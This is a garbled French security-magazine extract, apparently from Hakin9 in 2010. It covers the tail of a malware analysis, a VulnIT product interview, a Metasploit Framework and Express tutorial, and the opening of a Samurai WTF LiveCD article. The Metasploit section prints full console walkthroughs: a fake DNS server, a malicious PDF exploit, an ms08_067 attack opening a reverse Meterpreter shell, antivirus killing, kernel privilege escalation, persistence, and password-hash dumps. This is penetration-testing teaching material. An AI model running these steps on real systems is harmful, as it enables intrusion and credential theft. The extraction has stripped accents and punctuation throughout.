Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

